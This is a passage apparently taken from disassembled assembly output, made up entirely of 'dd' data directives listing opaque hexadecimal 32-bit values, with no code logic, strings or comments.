2E2A4063h, 0C3880B57h, 0C6D5518Dh dd 36C32239h, 0B88B854h, 88B874ADh, 8844E7FAh, 4E0834A3h dd 14FDF80Eh, 39C4A6FCh, 8E05D903h, 47C0464Eh, 0D5640A5h dd 4947C17Ch, 0E311C615h, 0CCDC640Bh, 0AF08A040h, 0FAE58780h dd 438CF8C8h, 0AD074172h, 0F988827Ch, 2327D355h, 7F8250Bh dd 0F9C47C6Dh, 862320BEh, 0FC78832Ch, 804A3196h, 68D87809h dd 0EC673FD9h, 7C3263C0h, 0B60930FEh, 0DAF30C74h, 0C379C55Dh dd 0EE386C62h, 0C74B608h, 0A7933477h, 7140A339h, 7444560Eh dd 0A7B4ACC1h, 0A603116Ah, 46AE388Ah, 2244D854h, 322B9022h dd 46E1A3E3h, 690854B6h, 8DA32611h, 1EE18A43h, 0E72F0454h dd 234457A1h, 402E0591h, 11B2C47Ch, 128E0738h, 84820483h dd 3C70B63Fh, 0D9120164h, 38D42684h, 700FCE45h, 9821261Ch dd 0A1C371B2h, 31BC0E4Ch, 0C1CE088Ah, 48561196h, 8E0685B4h dd 61D0A297h, 0DAAE0889h, 0CB6898ABh, 4104CE08h, 6E02C2BCh dd 0A54E0375h, 32A11120h, 4209920Eh, 550CA8BEh, 0A9CE1599h dd 0A844AA3h, 0F8A84140h, 8A2259D9h, 0C8032C9Eh, 0A83C9568h dd 372B03F0h, 8C396169h, 8ACE380Ch, 1A08A836h, 8B9F03B3h dd 442F0943h, 0BDB070B5h, 0FF20B060h, 2F233B84h, 15537062h dd 88473CE1h, 56B2E08h, 0AA7D88Eh, 0F8803EBCh, 3A10FD3Dh dd 831B8092h, 41BE5936h, 0C1843D57h, 730A0F15h, 5B634188h dd 794F0E0Fh, 885F3D98h, 7F69AD06h, 0C3184128h, 0B7C80C5Bh dd 3838CAACh, 0E31BF88Ch, 41358B31h, 37122CA3h, 63F07CB6h dd 2B9B7722h, 60743A03h, 254394E3h, 4984BA8Bh, 885777Ch dd 0C0799EEh, 4E0892BCh, 400C654Ah, 40AE0872h, 9663CE99h dd 319B7611h, 4E086E70h, 9DF064A3h, 0BF649092h, 0EE02B911h dd 8C43B03Fh, 3A5709F6h, 0F521C1ACh, 431134CDh, 0AEA88883h dd 36333B9Dh, 807E78A1h, 66AE6940h, 684309C5h, 0A0C0EE52h dd 0EDE8834Bh, 8C062311h, 0C09EB6E9h, 81C4AF34h, 0A07B056Eh dd 0C883017Fh, 33AEA08Ah, 0F0C7F8C8h, 3940BE31h, 885F3363h dd 0E5B5A306h, 0C32A3194h, 3656C424h, 0D6BAC770h, 203958F6h dd 4E300FA3h, 0F58E080Bh, 62A8C696h, 355680A0h, 84F7CE78h dd 3454B22h, 0A4984D66h, 7CB6FE91h, 9EF72E04h, 0E3047EFDh dd 9200E08Eh, 0C48C4E80h, 0E8BAE08h, 0EE0AB02Eh, 0CFC0F8Eh dd 60A0A1B9h, 3008A265h, 18029C7Ch, 71FFF3D9h, 2F89DB43h dd 11779C5Fh, 181B673Ch, 3F99FC23h, 0A208C80Ah, 140B8E06h dd 9C325798h, 0DD39BFC0h, 838082CDh, 2C49C824h, 0EE291990h dd 935E50A0h, 4962B131h, 4E015D63h, 6DEE0172h, 1352098Ah dd 584518A0h, 0B49A658Eh, 0C0983157h, 0E2A7AA56h, 0D3C38181h dd 680E5018h, 0AF2CCE08h, 8DB19E9Ch, 61A1AD23h, 2B41952Ch dd 0C1B3F390h, 31102ADh dd 70399573h, 0D02D3190h, 88C5A6Eh, 0EED03A4Eh, 7F985FF9h dd 42A92911h, 8809E314h, 864AE19h, 88BEC62Eh, 271F0608h dd 0CA4384F5h, 8EE0C11h, 1240324Eh, 8CBE2D50h, 0E9228970h dd 0CD2331B0h, 8CECCE40h, 48438E08h, 9428572Eh, 0EC8F82C3h dd 832091F6h, 276E2BD5h, 0FB02E384h, 393CCDF3h, 27716563h dd 11B0807Ch, 10481662h, 0AE15E9C3h, 0F1B7782Ah, 88CB6239h dd 0CF4A339h, 0E781EEEh, 0C1742956h, 3A230258h, 52420311h dd 0E8C564B4h, 6C128441h, 83E3398Ch, 9A4CE4E9h, 0AA0A1BE8h dd 0E0D2B540h, 880BE64h, 106B73C7h, 508C438Ch, 806257EEh dd 910D63C1h, 8F231117h, 7C653995h, 1252FB0h, 197C9320h dd 30971F83h, 67C5B65h, 816764C2h, 0CA631939h, 8BEFD896h dd 6145AE08h, 0C8653800h, 891F7C1Eh, 518298EFh, 89CAF5C3h dd 0D3637C60h, 0A96029B6h, 85AB8220h, 0A321C123h, 0FC60A629h dd 8E08C55Eh, 4B847C5Fh, 1B16CB11h, 412E0319h, 73EE0182h dd 51A20999h, 76905F62h, 0C62E611h, 38BFE319h, 846C142Eh dd 28E2083Ah, 430B7BE5h, 21942626h, 618E2408h, 79B4F804h dd 7CA7AB11h, 0F4390131h, 5C08959Fh, 0D7D1F084h, 81B4678Dh dd 0F0397C83h, 0A81108D6h, 41BAB17Ch, 84128F5h, 30A0DAE4h dd 60570704h, 0C7C0DB32h, 4313C101h, 3B21835Ah, 0B3B4A5B7h dd 0DCD780CAh, 5208CCD2h, 0BF001C21h, 0CE6ACFA5h, 0D08801h dd 0D86665A8h, 5E3AE2F3h, 7DB10F00h, 64192427h, 0CC8330E8h dd 40470718h, 0E12E601Fh, 4C7E045h, 3806E85h, 3C655BDBh dd 10D0285Fh, 64153h, 0C8C055Ch, 0FC60E97Ah, 0B06F1950h dd 41C48163h, 80DEBC8Ah, 4D13FAE9h, 3F1F640Ch, 9E6E072h dd 9A0021E9h, 0A4414D0Bh, 5DF0E2h, 5303764Ch, 3E917BFBh dd 2610DB0Ah, 48398E5h, 0B0BB9AB0h, 33923FBFh, 0C8089763h dd 0A81F2100h, 0E3AFD9Ah, 0B2E9078Ch, 0E03E6A5Fh, 0C48F9890h dd 68A9B4A8h, 10C076ECh, 47BD4EE2h, 8C7E34h, 0B573D0F5h dd 5CED1D78h, 90A46500h, 0BA88CDA3h, 0C4110027h, 182F31A7h dd 0E600DAC3h, 0DDC53B96h, 3D8EEA9Dh, 0AA3AFA46h, 0DE6FD720h dd 0FB9309h, 0C51476D5h, 7B00BB88h, 3CBD8B06h, 58E68F1Fh dd 39602FBAh, 2CDFB945h, 0D23F6F01h, 5A9257CBh, 440F48BEh dd 0BAE1550Eh, 0D5938F50h, 0D76080E9h, 6F02F40Ah, 21F30673h dd 8CB6BBBh, 2921D460h, 0F5202FCh, 44BD2AEEh, 49E6B626h dd 0F6019146h, 23737502h, 88D50C22h, 23FFE27h, 1D3480B9h dd 0C148B53Eh, 0B00A6380h, 0C80C3A2Fh, 0D18A6EC2h, 42362AEEh dd 6BEF084h, 0A73CFEF2h, 0C8080B1h, 0C1015E71h, 0E788CAA8h dd 7CDF8F0Ch, 67567E20h, 0C2BD18AEh, 0C20EAD1Bh, 21B7D53Eh dd 40B94314h, 932CE768h, 4F4185FDh, 0DCC0CBDBh, 8A88F6h dd 21848BEFh, 0D33BBBA1h, 1FF21174h, 0FE984700h, 620176EEh dd 0FA1800D6h, 9DAAF0BFh, 900008DFh, 0B02AC871h, 555C32h dd 3EE2BCD9h, 6E060AFh, 8CB6523Ah, 30514EC6h, 60F0F829h dd 71871832h, 0DA001322h, 36388289h, 1A0E02Eh, 0C23216AAh dd 0D51F6AB9h, 57A240C7h, 0D3009C1Ah, 3B910FF8h, 0FE8FD38h dd 0D26044ACh, 1EC5A9A3h, 0E96431A8h, 0E2BDC200h, 40672972h dd 0E7680689h, 0A8035E08h, 20C7C5F0h, 6C81BC91h, 0B8BEDE59h dd 2E0D8400h, 6AADCADCh, 5B2F0B00h, 387656FBh, 69A31DDAh dd 0DB8506F5h, 2205D09Ch, 0C1F126A4h, 983C8841h, 0E9F0EC69h dd 4AC30090h, 0F7068053h, 123376ADh, 0DB0728B2h, 0D4C1003Ch dd 9E750B63h, 9AEC2DDDh, 8886C100h, 0AA2E7167h, 0EA653B2Ch dd 9637B980h, 17392FFCh, 47C82700h, 78B3DE22h, 153E1942h dd 5F3C193Ah, 0E6FFE004h, 0F4F100B6h, 22686F16h, 507D9D36h dd 32F7641Dh, 5F316318h, 383467A0h, 4714F7A5h, 0C721F7A6h dd 0F134CAA1h, 834C4B22h, 2E5EFCh, 0A0C6E810h, 1F146509h dd 0A221DC0Bh, 0C58407D6h, 0C486FC5h, 32756462h, 0C15199Eh dd 0D0218676h, 0C45A1064h, 4E228736h, 5232FC1Bh, 660C4E19h dd 84B57786h, 0A9218243h, 0C4C84A90h, 247C7E65h, 726CA9F7h dd 18A95A0Ch, 0A9390C86h, 0AE0C6A0Ch, 0C9624A9h, 7A0CA9B9h dd 4486980Ch, 5CFCC76Eh, 2119F922h, 6804D7DFh, 0E3481A02h dd 8FE29980h, 49FC251Dh, 51000026h, 0E7BE2747h, 870034BFh dd 9F31E1DEh, 0FC36A9h, 0F2F061FFh, 69C862E2h, 0F599911Dh dd 0C652901Fh, 0BAEB2441h, 0C8532228h, 2061AA2Dh, 890ED8BCh dd 3A556380h, 9904E772h, 0C05DD403h, 322A57C5h, 0CA7C50A0h dd 6CF61F3Bh, 3016A094h, 1B8930D0h, 0EA6F4DFEh, 2233C3A8h dd 0A438E9E6h, 0B3768882h, 1C952301h, 0EE41179Ch, 1A2CDD0Fh dd 8FB55840h, 69BF84Eh, 0A9BF268Ch, 0CC005015h, 0D2A560ECh dd 0C734D017h, 57F07D59h, 8580CCACh, 0EF939000h, 0EA940560h dd 0C8325229h, 250C8E3Ch, 3E5191BFh, 0A64633Eh, 142A3ABDh dd 68E4CC8Ch, 716436Ch, 0C7A293EEh, 0E94A8E20h, 0E3E80540h dd 12FB5FEh, 5B11F5C0h, 8DF88E29h, 49BD206Eh, 0E0FA03E1h dd 5A9E0066h, 0C9871B97h, 0B9C885CBh, 0C09686F8h, 0A2009975h dd 0C52D15Ah, 97E84E4h, 69FEF828h, 70D2A0A0h, 53065F14h dd 0A5FF924Bh, 43EE2819h, 81346468h, 0EBCA3C38h, 0A8D2DECCh dd 1D858DC8h, 433A03h, 0BE7EEF9Dh, 0B805C964h, 1479BFC1h dd 1095C04Ch, 0D5A9DEF1h, 0EA0CF48Ch, 7889F9FEh, 77B4F650h dd 518F562h, 142003Bh, 9CA0E47Eh, 0A663C4FCh, 3110FFF8h dd 60184239h, 2AB700C7h, 0B6E31DE7h, 2C223E2Bh, 841DFF29h dd 0A6E7C04Fh, 0C044117Dh, 0C3A7BD91h, 823E1F2Dh, 0B4F724CAh dd 0BC87E78Ah, 1061EC0Fh, 0C53E7C56h, 839447A4h, 4AE5B866h dd 0D13C7EA0h, 50ACD949h, 13EB6148h, 8014B484h, 0DA1CA33h dd 0A178F10Ch, 3AF0401Dh, 0C91496E4h, 7504A092h, 81C82A19h dd 0D2F75954h, 1FB59484h, 0BDB77707h, 3A80D52Fh, 0BE8F1DBFh dd 0A2790A18h, 0FC2207CAh, 73FFA3EFh, 0D5A115B1h, 0BF408A56h dd 8C115041h, 222CE30Eh, 59083253h, 12536423h, 5F25E08Ch dd 50118974h, 320A642Fh, 0E7B78AD4h, 0C9EC08C4h, 77718D98h dd 2DBD149Ah, 27A0301Ah, 8854553h, 0E20463EBh, 2709A2EEh dd 5FCE4804h, 0F0698886h, 2D1E0930h, 4803C14Fh, 81DCC0FDh dd 0C87D14h, 0F41D51h, 1123E96Bh, 0EFA4DC20h, 9400109Bh dd 54644004h, 0E9F3052Fh, 4812C76h, 2177DA8h, 804CFF9Fh dd 0D7301E28h, 48A33AC6h, 0A0A66014h, 0BC832449h, 0EDF85A03h dd 9850B794h, 409051E0h, 286720h, 685FDE7Ah, 2DBEE5D5h dd 65299C04h, 8CCE1E01h, 84B1F610h, 5082E50Bh, 0AF741656h dd 0F11D5F09h, 0D258B018h, 2864EE02h, 0E60B11h, 0C7A6CA3Ch dd 0D4701E50h, 0FF2422EAh, 56809CB0h, 0CE2EE328h, 90182C3Eh dd 23A30144h, 67FF99CBh, 0C0F07748h, 0A89C3401h, 0D3EDB9CBh dd 99F88425h, 0D1CC69ADh, 1058B808h, 9C7C8135h, 0E9B22DA9h dd 0ACC1C9B8h, 2610BBEDh, 9F4740DFh, 310FE2B0h, 3AF4AEFh dd 0CDBAA520h, 0D8572102h, 0A9E0032Ch, 1F848084h, 50EC8E30h dd 84B218A8h, 83B9C819h, 76ECD569h, 349E48EFh, 0A240DF88h dd 0F6C0A32Fh, 6901EC5Fh, 9480D11Fh, 0CEF12CF7h, 23106506h dd 1E6998ECh, 146478A0h, 3020089Ah, 0AA23AB47h, 2005FF09h dd 1BD61E98h, 81D6784h, 0FE69E71Ch, 71DA075h, 438000F0h dd 0A39CA1D4h, 0B8420400h dd 1B4DE2E4h, 7DF103AFh, 6A078845h, 285126D2h, 0FBCA9D40h dd 141130E6h, 0BCE48D19h, 0C5A01E54h, 888CED14h, 51DE03E4h dd 25EEC31h, 9A82F641h, 0CC40E8DCh, 2924D892h, 5B407CDBh dd 17BDC70Fh, 1DCF4E23h, 0F0D00137h, 22BADE91h, 2046C420h dd 2910C810h, 1FF862FCh, 0C892ECh, 651C75D0h, 0F07BF12Dh dd 0D0AAB6A4h, 318D55C0h, 633FD9CFh, 0B1996583h, 518028E8h dd 64147C47h, 0B03C39C7h, 23BC1B5Bh, 0A570E011h, 0A2B7841h dd 46E29AD0h, 0A5EF4430h, 0E74808F4h, 1C267507h, 1960CBF9h dd 80E9EAAEh, 7F81716h, 395CFC34h, 80DB2AC3h, 0FD5E387h dd 0AA1DC979h, 9959CCA0h, 0D0B9D846h, 0C92CBF0Ch, 0D07D0035h dd 0B6CE1EFCh, 0F00D8C2h, 0F40D68DFh, 0B745FAh, 90BBA78Eh dd 7564E47Ah, 11382A62h, 0C2E8A046h, 0FBC1DBh, 643DDA88h dd 5CB0F1EDh, 8DE16B06h, 1D285ADEh, 9DEF4716h, 0E9394450h dd 4A708812h, 9D10171Fh, 0BAC17C01h, 75EC37DEh, 0BBE40F1Fh dd 0F12F1C53h, 8D0E2680h, 0FF2283FAh, 957E06B4h, 12B83598h dd 9BCFAB00h, 0BE5B4BA1h, 0FF5700EDh, 9DEF8186h, 0E4028F8Ah dd 19E08C5Fh, 0C910C1FBh, 0DA93F4h, 15AC3E2Bh, 951C915Ah dd 6603017Eh, 0C842790Fh, 26F8002Eh, 0BA54CF69h, 0DDA1EF11h dd 39BDF153h, 0A02B0424h, 4701C7DAh, 800FFC99h, 7F75F050h dd 7661E80h, 0F58459AAh, 0E117DB6h, 0E14F8304h, 210002Fh dd 0E54EDBB3h, 0FC3F4A54h, 0D77B80B1h, 4F36379Eh, 0EBE43117h dd 12DCBB28h, 9C431076h, 88E3EB88h, 3289D0CDh, 9644FF08h dd 0D828A0BFh, 133E89D1h, 9323E016h, 6CB4004Bh, 0B74CCDFEh dd 0CA3D7727h, 20AB0046h, 72AF1C8Eh, 719026DDh, 0FCFB07B0h dd 8483E016h, 0AD00F0AEh, 4D4E2BE5h, 34C52CDh, 0BEDD44ECh dd 5D903AAFh, 0F008FB4h, 30C3E777h, 77419547h, 0DA3B3E19h dd 49E0F800h, 6EC9A278h, 9A668F1Dh, 0C66F8440h, 3F2F10E9h dd 3581E724h, 8BD617B3h, 2AE5E81Eh, 0B048252Ah, 1D03617Dh dd 0DE01CC4Eh, 54503FAFh, 79DD5100h, 0F46FD753h, 82444300h dd 0AF5A099h, 0C76E3C5Fh, 0BEF9A483h, 68FEFADFh, 0E19F4100h dd 82BB118h, 335C11E0h, 3D670535h, 0E41334E2h, 0D2B62500h dd 0A9FD1Bh, 0FBEFBF8Fh, 9B8AC177h, 945EE528h, 1F5348h dd 2EAA7A78h, 4F6A11h, 0B89CD579h, 0EC35CB8Bh, 8160883Ch dd 0D11D9357h, 51206EA1h, 0EB41005Dh, 6059F1A7h, 0B151343Dh dd 0E744608Ch, 4921BE18h, 929206B0h, 0D5100334h, 0C5457A96h dd 30C40AB8h, 0D3FD2401h, 440CEC41h, 13F5C4h, 81C5BE21h dd 94F752EAh, 0AC2E5000h, 4DA5B154h, 0FC4F0680h, 581CD4D0h dd 1743D53h, 20AFB918h, 0BC4A129h, 6049074Eh, 0B1945AD4h dd 801E47F3h, 9B78C87Ch, 31460Eh, 1C15A5C2h, 0D01AAC4Eh dd 1DF9B200h, 32AE507Eh, 2E253D5Dh, 0B7888D80h, 0E26CCA2Ch dd 0FCDB4B00h, 0EB581E73h, 0E96D00E1h, 878B6140h, 2200C59Fh dd 0BEFC5999h, 0C02E28h, 45D7B3CEh, 86862ACh, 6000F7Eh dd 444F259Bh, 3F68164h, 8FCC84E9h, 0EFAB7362h, 0F7871CE0h dd 0BD986701h, 0C4D24FCEh, 35C39447h, 9A212E24h, 1AE5005Ch dd 110C26B2h, 6AEF4950h, 0EC3F5500h, 3BD15B7Ah, 0DB50016h dd 658951Eh, 920377F5h, 0DE53BCA7h, 6ABFD03Eh, 9C2850DFh dd 0F1850107h, 97CD5CEAh, 37D8CC99h, 6214BE70h, 3E81972h dd 0AC63CE08h, 0FCEF9995h, 80C0B7C3h, 0B5392Ah, 4DD896CFh dd 4851A297h, 565BAE00h, 0BDE5F4A0h, 8D7F001Ah, 0F8CDB325h dd 6A000D9Ah, 941F2801h, 273E7C7Dh, 0A8C092C8h, 0E1031553h dd 0C683D3C4h, 88F688CAh, 437FE0h, 2A67273Eh, 0A8D69C16h dd 60000AFAh, 0A933CE35h, 65074Fh, 5ADDF5B1h, 0D67BBDA2h dd 9EB00B1Dh, 6352D3C3h, 0B31EC090h, 86950F6Ch, 0F56CD893h dd 0CB1CAE11h, 0B2142A15h, 332603CCh, 0C032A56Ah, 121B7D4Ch dd 302210Eh, 3DAB3007h, 73661900h, 565069CCh, 0F4649035h dd 0B89A6Ah, 0ED779363h, 3AD5B65Fh, 30FE850Ch, 5B7013h dd 77D65EB9h, 3CE40BBAh, 2A6D5400h, 0CAB86210h, 43EE004Ch dd 0D63ED456h, 80066C1h, 0BC1A15C8h, 59A70Bh, 0EC2DB834h dd 0A09BEE87h, 7D29F000h, 0C5A33320h, 0EC7C5030h, 4C2A3AA5h dd 31EB4580h, 2E17E59Dh, 0E6A6AA00h, 0C19F1CCAh, 42C730C0h dd 0EBA56D92h, 0EF54000h, 1090EA80h, 0CDCF0050h, 1DDCB064h dd 96262A1Eh, 25002584h, 680588AFh, 5DFA0018h, 0DB7DA5B7h dd 0E6004D40h, 2139CEE5h, 0C2B8AEh, 0EC462886h, 738B7EEEh dd 570D971Ch, 0D812F680h, 2484D145h, 0E164802h, 24C27B1Fh dd 0F440FE7Ah, 46148B60h, 940ABFh, 0D0103473h, 0B0B6F0C5h dd 48DC0391h, 42EAB42h, 65864A88h, 0DE933D27h, 0CC200F0h dd 0AF08D809h, 0D9C3ED00h, 0D6B6B2B4h, 0CC61005Bh, 4ABC8E67h dd 0DC002EC4h, 1674C8BBh, 45FD6Ch, 20C92BB9h, 7C3EAC42h dd 0E83CE500h, 1D2377C0h, 5F9E0B60h, 2700DB8Fh, 6E66DEC9h dd 0E78EA38h, 0C0192B6Ch, 44A9DDE0h, 0EFE60047h, 5CFD407Ah dd 1000FFB5h, 0FEE105BCh, 9DE0C8h, 0A0AD26D1h, 0C14965E2h dd 0F336ED03h, 0F86A4114h, 7629957Dh, 528D13AAh, 0F2D800ECh dd 0B48F6DBEh, 0F305CCF9h, 0D81BC924h, 3800B012h, 0C70B1E94h dd 0EC8EF825h, 22520368h, 9FBFB7ADh, 796A3FD8h, 1CE848E1h dd 1285AE00h, 88ED3567h, 81A101B5h, 2AC911E5h, 64D82021h dd 6CB01624h, 0A9049040h, 0BDFA00D1h, 55AC8E98h, 0B51E5140h dd 250C82FDh, 8FAC2Ch, 76AA535Dh, 0B4079A61h, 0D31BB300h dd 58B03C22h, 4CB9F8B5h, 450B7864h, 3000AD9Ch, 3D3E14F5h dd 83113060h, 0B6751Dh, 7E49CC8Bh, 9069A98Ch, 2C6D4602h dd 639CA358h, 0EA1CB823h, 7EA0A8F6h, 21AFAC8h, 4B97FD50h dd 6440E244h, 9F0FF286h, 6340D482h, 0B0C46ECCh, 5852E84Eh dd 0DD00AE41h, 0AB502968h, 0FA4C9875h, 85FF1F9Fh, 0E8078796h dd 56300F26h, 483C2973h, 64500E71h, 0F6BC0096h, 4E347E31h dd 610916ADh, 909E10Ch, 98D90760h, 641738F0h, 467D2C25h dd 0F4330090h, 49DEA3C2h, 57E6437Eh, 42AFAB00h, 0D0401B4Bh dd 82D300C7h, 9375BA64h, 540ABEDAh, 9C0E4DF6h, 8699FF00h dd 0E238A11h, 5BDFEF4Ch, 0D0B5A6E3h, 0DA84CA80h, 24ABE017h dd 70802C1Eh, 0BF0977B2h, 0C41F09F9h, 0D88EFAA1h, 0CC62BB40h dd 8B00DE84h, 353E14Dh, 4BA7A9h, 34017367h, 903F13E3h dd 4C2ADF2Ch, 0AC980700h, 76564D9h, 4F17810Bh, 537330AEh dd 32C34CCh, 80096F6Fh, 960280C8h, 4751C4h, 40BE50AAh dd 0BD554445h, 0B400BCB8h, 23D1E75Dh, 65877Dh, 4F47EEE0h dd 93A6A489h, 0B66D1F00h, 46D82EADh, 434833E7h, 5EE8DF40h dd 0FCEEC978h, 59644A31h, 0B0F415E7h, 49D81430h, 7105F2E0h dd 0F3DA03h, 0EEFDF4C3h, 0AC0048ABh, 0E8B2295Dh, 0E8C7C33Eh dd 1FC500CAh, 0F4C63387h, 11C05EFCh, 0C441865h, 3DC900E2h dd 0A5BE1D13h, 7C1F0D7Bh, 48BC503h, 42D48464h, 3DD08A4h dd 3899D9F7h, 23C0B935h, 9C008557h, 0EA6FB89Fh, 9B4050h dd 7D4F2C2Dh, 6EE53876h, 0ED08C200h, 0B4A5581Dh, 0FCD7129Eh dd 0BD7707C8h, 0E96B80F0h, 0DB003F0Eh, 3B69750Bh, 4EC111h dd 244CA5Dh, 0F664CE2Ah, 7A21B403h, 0C1533466h, 79608368h dd 0FCDF00C6h, 0C8827888h, 0C0008A91h, 2337455Dh, 758E9AEh dd 150D124Ah, 94EF0A0h dd 4F0E85A4h, 0D9D04Bh, 3F620358h, 45FF038Eh, 0F123E9Dh dd 0D9BB6AA8h, 0A59FD100h, 1AB44C49h, 8CB3007Dh, 0FA3CA399h dd 0DC0032B9h, 28800C4Ah, 0A01539A6h, 2873E594h, 10EC4791h dd 0BB2AC5h, 1B3EB1AAh, 1ED25C76h, 0C0DDAE3Ch, 58D48588h dd 0C92CB511h, 4300F468h, 0A7B7277Dh, 4E7203F9h, 0A83AEC8Bh dd 0B19320B7h, 83007E46h, 135807F0h, 1E954B6Eh, 416AE477h dd 0D381D71h, 728AC96h, 89EA400h, 39F3F86h, 0E7A78CABh dd 8FC0B4D8h, 520EB3F0h, 0DFAF7E4Eh, 0A008534Fh, 0A756B2Ah dd 58B90025h, 238DB787h, 310003B3h, 99523076h, 0C7CF17h dd 12F333F6h, 728FDA58h, 0B1F7B903h, 93EF39E7h, 552A08Ch dd 0FD7D0086h, 7AA546AFh, 1F988854h, 622D5616h, 0B004CF8h dd 0B7524523h, 0E00D73Ah, 0DFD5D96Ch, 0E379E11h, 0F79C8F2Eh dd 5F7A91F8h, 0DBF4E460h, 517964h, 0B41039BBh, 6E93D81Bh dd 0F4F6CD00h, 7E4D31F7h, 4BF3095Fh, 1060E6E9h, 8004217h dd 1F75FE03h, 3BADD6D5h, 0F900AE3Dh, 0D4603B1Bh, 0BF004D33h dd 0A9FB06ACh, 10AB64h, 9E77122Dh, 0E1025548h, 8117C200h dd 18223A8Dh, 0FEC90F4Dh, 0C33EA87Fh, 36F68BAh, 85605800h dd 9C8D017h, 0BE9700CAh, 0F3538451h, 0B0005024h, 0B9FC2B46h dd 76192925h, 0E98F0BF1h, 4A003B2h, 71D24044h, 0C427407h dd 1301B2Fh, 37BAADh, 2DED1681h, 5F77875Bh, 0A200CC71h dd 436E896h, 5468FD25h, 0E474E049h, 77C22651h, 1991F8Ch dd 1E26FC78h, 87708090h, 69E59EAEh, 0A02E007Dh, 0B4D6086h dd 0C97C22CBh, 0EFA96709h, 57A8275Eh, 7DE99DC1h, 502FF060h dd 4CD6CC78h, 6C0195F0h, 2A298395h, 7B5AF4D5h, 7400E8B8h dd 67FBD7E0h, 53244Fh, 0D246C1ACh, 479926B7h, 0B590D04h dd 34913908h, 0FAD445BDh, 0EB6E0538h, 80E3D0D8h, 24360A7Ch dd 0C5590300h, 7E567CFh, 13DEA38h, 0BB5DC4D7h, 0D8C6ED61h dd 11EDA2Fh, 664ED88Fh, 0CF0C4008h, 0B892AB5Eh, 0ACF60200h dd 0EBB7E5D5h, 0E8227CC0h, 0A3BC5F5Bh, 276C0907h, 3C68A0B9h dd 0F500DBB8h, 0E5836DF8h, 1EE956Bh, 5D6E4ED1h, 0E8F343FEh dd 94008630h, 0C2443342h, 5B89C1Dh, 2F7E4B04h, 0E348804Ch dd 2D07AE0Bh, 0B103B92Bh, 0CDE04290h, 0AB775019h, 0A78113EDh dd 3A0000Fh, 0F3945BD9h, 0C444F801h, 43CCDD11h, 3CF12D8h dd 5146A69Eh, 0D6D8FD3Ah, 11009C07h, 0ECF66B96h, 0B06672FFh dd 0FE8B0F6Ch, 5140EE4Bh, 0C4F72FAAh, 0F09437F4h, 8A3C0502h dd 0F5D88006h, 0F684ACECh, 0E66B00C3h, 0EDAE61E4h, 9B0D5264h dd 28070F14h, 0DD62C4h, 65CC392Ch, 8DE3ABEFh, 401689Ch dd 88AC822Fh, 0B44870h, 0D7DD8570h, 9198A1C1h, 78EB100h dd 7AF0C666h, 849300FFh, 54821712h, 8258FACh, 1319405Ah dd 0EAB718A8h, 3BB01852h, 9A752B00h, 0E60BC9FAh, 562A073Fh dd 70A2BBFCh, 0D07A27C3h, 0CF97FE00h, 8A035FF5h, 90C907E5h dd 0A0BEFC4Dh, 9FD9A2C0h, 4AD5BC00h, 9C5AABE7h, 420700AEh dd 0D872785Fh, 0CB76EF95h, 143DC224h, 0DE5F030h, 96150313h dd 23B13A31h, 2DE1948h, 71B9F0DEh, 0A88CE392h, 2AB2288Eh dd 0B00DF4h, 364EED22h, 12C0084Fh, 448FCC00h, 0FBF29C19h dd 52D51F79h, 2B34001Fh, 8029F082h, 0DE78F416h, 794A1E02h dd 0F960E48Ah, 503045D4h, 0D6EC02h, 1B9F5627h, 5E98D2C3h dd 7EFD5Ch, 3E8DD720h, 0BE88260h, 0A329E0A5h, 96F29C40h dd 21EF7202h, 0A15FCA55h, 4A502BE8h, 0C079D028h, 0EB528DC8h dd 0A11834E8h, 87291D16h, 0B5795Dh, 938FE786h, 15F25313h dd 1DA9451Ch, 80E1EB40h, 0FAB4EAh, 8C3CE3C6h, 849AEC95h dd 2058446Bh, 1185264h, 7D27006Ah, 95A60216h, 0F4A07BDCh dd 0FE25251Eh, 0F07C8050h, 7E7588h, 49186807h, 7DC4CDA0h dd 166DBF1Dh, 2C6FC9CFh, 0B075A432h, 0EF133877h, 8583A6h dd 0DFF09F31h, 6E0A24ACh, 0C070B7A5h, 56BF5100h, 76FEE542h dd 0E3260E05h, 0E2044AEh, 0A0A75425h, 52E9E707h, 74232C10h dd 0DAAFE0E6h, 7E571003h, 21680764h, 405B2F6Bh, 8BD4DB18h dd 0C3CD5CC0h, 0A8CB8103h, 1062642h, 0C6718378h, 212BE3D2h dd 1DB4F8E0h, 50BEBC30h, 89DB82h, 6CBE992h, 72977D4Ch dd 276D3D09h, 60EC014Dh, 0E440A76Fh, 3E59C0EEh, 4780DDA2h dd 5E97C5Eh, 0B93A7BA8h, 79F38FBBh, 0CAA48459h, 6BE0F887h dd 0A201Bh, 41C5EEFDh, 912F2BACh, 5257BB26h, 929E5D03h dd 0FDB0E828h, 487F482h, 0C815B49Ah, 0DEA0812Dh, 8F19D8A4h dd 0DC40D4A2h, 74001FD1h, 42514066h, 90792F99h, 39140C14h dd 6E2890A4h, 7E94D50Ch, 40BA017h, 3FAB4374h, 0F30880B8h dd 340092B3h, 48B1549Ah, 891E4Dh, 0C3DA6214h, 55AD9430h dd 0C0F0BC09h, 19A0806Eh, 1CDFEC1Eh, 40B6F9FDh, 0BED0151Bh dd 43013FC0h, 0C3F8CBB0h, 0B2F4380Fh, 0A3BF2E01h, 0B7A280A8h dd 1EE6901Ch, 3FD51509h, 0CDE80071h, 0ABF4A5h, 24B99148h dd 0EE8FC634h, 7E5D5403h, 0B8C4C1E8h, 0B809EA2Fh, 0DFB0EC9h dd 888E5E50h, 4805E42Bh, 0FD18A452h, 2DC10600h, 0A4129080h dd 0B6FC00CFh, 1D859903h, 323CA70Dh, 9A10803Ch, 249E50C3h dd 23C90026h, 6F158FCBh, 1A16ED45h, 480EEF80h, 0E0A2A95Ah dd 96F71E28h, 2C1B01C0h, 3045C8EFh, 79013B62h, 1CEE6F97h dd 48FAC70Ch, 3762D8h, 0AC3C2EDh, 8B63FF43h, 0FCB09374h dd 562D8101h, 0F372FCB6h, 0FD1413D4h, 0F609C02Dh, 4C207A5Ah dd 10CA35C4h, 3A24E4E6h, 9401940Dh, 665E0277h, 8D137C6Ch dd 0F278404Fh, 594AE524h, 1A0528C0h, 305674h, 0F7A8C365h dd 3DD6FAA1h, 9D0DAA12h, 69F12C01h, 0C9E42CC2h, 8AF40620h dd 0E85F070Eh, 9A5C4B0Fh, 55782099h, 0C0588DC1h, 2E9BF618h dd 0E8009308h, 0CF871792h, 269C5EC4h, 130143Dh, 3945C3F7h dd 8F30F01Ah, 0F9D77C00h, 927D4BD9h, 81F12CA7h, 4F5103E8h dd 88C07446h, 2F000ED1h, 94E6C2E4h, 1F908619h, 0C0F842BDh dd 0FE086FC8h, 0E70096BEh, 0C7A7FA16h, 304A3Ch, 0ED0FB43Ah dd 